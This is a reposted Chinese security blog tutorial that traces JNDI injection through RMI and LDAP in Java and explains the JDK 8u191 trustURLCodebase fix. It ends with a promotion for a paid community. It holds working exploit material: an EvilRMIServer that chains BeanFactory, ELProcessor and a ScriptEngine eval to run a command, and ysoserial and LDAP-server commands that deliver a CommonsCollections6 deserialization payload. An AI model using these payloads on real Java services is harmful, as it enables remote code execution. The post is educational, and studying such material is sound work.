扫码领资料
获网安教程
前言
本篇文章首发在先知社区 作者Zjacky(本人) 先知社区名称: Zjacky
转载原文链接为https://xz.aliyun.com/t/13793
诶呀这玩意学了蛮久了真的,离大谱,各种事故各种坑点,不过结果还算好都弄清楚了,记录下顺便分享两个CTF案例来进行加深理解,下次遇到高jdk的JNDI就不会那么踉踉跄跄了
JNDI注入原理
JNDI可以访问的目录及服务,比如:DNS、LDAP、CORBA对象服务、RMI等等。
RMI + JNDI
首先上述也讲清楚了,其实JNDI的标准注入就是从RMI
中去寻找对应的名字所对应的Reference
对象,而这个对象是可以任意写地址和类的,所以其实JNDI就是去找这么个东西,可以看如下demo
首先是开启一个RMI的服务器,然后在JNDI的Server端把我们的Reference
对象重新绑定到某个名字下,此时在写了恶意payload的class文件目录下开启http服务,然后用JNDI的客户端直接去lookup
查找rmi服务
//JNDIClient.java
package jndi;
import method.SayHello;
import javax.naming.InitialContext;
public class JndiClient {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext initialContext = new InitialContext();
SayHello sayHello = (SayHello)initialContext.lookup("rmi://127.0.0.1:1099/sayhello");
}
}
来跟一下断点,直接在JndiClient.java
的lookup
方法下断点调试
会先走几个无关紧要的lookup
方法最后会走到对应协议的lookup
方法中,因为我走的是RMI
协议所以最后走到了
rt.jar!comsunjndirmiregistryRegistryContext.java#lookup()
方法
然后返回的时候把获取到的结果传入decodeObject
方法,跟进下
发现只要是继承了RemoteReference
类,就会调用getObjectInstance
方法继续往下处理,再次跟进下
发现是从引用的变量中获取工厂,调用了getObjectFactoryFromReference
方法 ,继续跟进
发现就已经开始类加载了(我的类是T
)
然后先用 AppClassLoader
寻找本地类
当然这里找不到的话就会走下面的逻辑再次加载
跟进下发现最后会调用URLClasserloader
去远程加载
那么就是相当于会去在我们的路径下去找我们的恶意类
加载之后最后在这里进行类的初始化执行了我们的代码,所以只要一执行完这个代码就会弹计算器了
LDAP + JNDI
一样直接起个LDAP
服务下个断点
经过几层的lookup
方法最后调用到c_lookup
方法中,在这个方法底下会去调用decodeObject
方法将我们传入的ldap对象
跟进decodeObject
方法 ,发现会根据LDAP
查询的结果来进行不同方法的调用,因为LDAP
中会有能够存储很多值比如序列化,引用类 等 ,而我们传入的肯定是引用类于是就走到了引用类的判断方法中
这个方法其实大致了解下即可,就是个去解析我们的Reference
引用对象的
我们直接看将返回的接口做了什么即可,最后在rt.jar!comsunjndildapLdapCtx.java
将返回结果传入了DirectoryManager.getObjectInstance
这个方法
跟进下发现跟RMI
差不多一样去调用了getObjectFactoryFromReference
方法去解析我们的引用类
后面代码就是跟RMI一模一样了都是去本地找类找不到用URLClassLoader
去远程加载类了
高版本限制
其实在之前讲的原理当中可以知道,在jdk8u191之前都是存在这些的,虽然说ldap是低版本的绕过,问题其实也就是可以去远程加载类
然后更改到jdk8u201之后就不行了,具体改了什么继续调试下
跟到D:Environment-Javajava-1.8.0_201src.zip!javaxnamingspiDirectoryManager.java
的关键代码 跟进下
进行加载类
本地类加载不成功后看远程类加载的逻辑
跟进后发现有一个属性叫trustURLCodebase
要等于true
才能够进行远程加载,而默认的trustURLCodebase
是被设置成了false
也就是说,只要人为不修改,就不会存在远程加载类的行为了,那也就是说这个远程加载类就是被修复了
绕过
但是转过头来一想,我们远程加载被修复了,但是还可以本地加载
所以对于JDK8u191以后得版本来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:
-
找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令
-
利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行
这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。我们先来看一些基本概念,然后再分析这两种绕过方法。
利用本地恶意Class作为Reference Factory
看名字其实很帅,但是调试一下就可以很清楚理解了
在D:Environment-Javajava-1.8.0_201jrelibrt.jar!comsunjndildapObj.java
中会去把LDAP
或者RMI
所解析得到的Reference
解出来
紧接着跟进到D:Environment-Javajava-1.8.0_201src.zip!javaxnamingspiDirectoryManager.java#getObjectFactoryFromReference()
可以发现他是接收了两个传参,一个是引用类,另一个是引用类的工厂名字
并且返回的类型是ObjectFactory
类(ObjectFactory
其实是一个接口)
之后这个工厂类去调用了getObjectInstance
方法,那么现在思路就有了,如果我们去找的是本地的工厂类,并且这此类实现了ObjectFactory
接口并且他还有getObjectInstance
方法,而getObjectInstance
这个方法还有危险的操作,那么就可以进行一个利用了(说起来感觉条件很苛刻)
但实际上真的有这个类,org.apache.naming.factory.BeanFactory
我们去看看这个类
实现了ObjectFactory
接口
存在getObjectInstance
方法
有一个反射的方法,该类的getObjectInstance()
函数中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference
对象,均是攻击者可控的。
EXP
package jndi.bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(3377);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/c', 'calc']).start()")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
利用LDAP返回序列化数据,触发本地Gadget
其实这里就是在分析LDAP+JNDI的时候他有个类似swich的东西,当时传入的是引用类,所以走了引用类的逻辑,但是如果我们传入的是序列化的对象,并且后续会被反序列化,那么就相当于存在了一个天然的反序列化入口了,就可以触发本地的Gadget了
本地调试下 先添加CC的依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
java -jar y4-yso.jar CommonsCollections6 "calc" > 1.ser | base64
然后传进ldapserver
java -jar LDAPServer.jar 127.0.0.1 1.txt
然后直接去JNDI查询
SayHello sayHello = (SayHello)initialContext.lookup("ldap://127.0.0.1:6666/Evail");
调试一下
会走到序列化的逻辑进行反序列化
总结
这里要注意的点就是 RMI和LDAP都是需要出网的环境进行远程方法调用或者是目录名称查询,所以都是可以操作的,下图是两种方式的jdk适配版本总结,那么其实绕过跟一遍断点即可理解完,都是一些攻防博弈,非常值得学习
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前言漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,只需25,即可加入,如不满意,72 小时内可在 App 内无条件自助退款。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论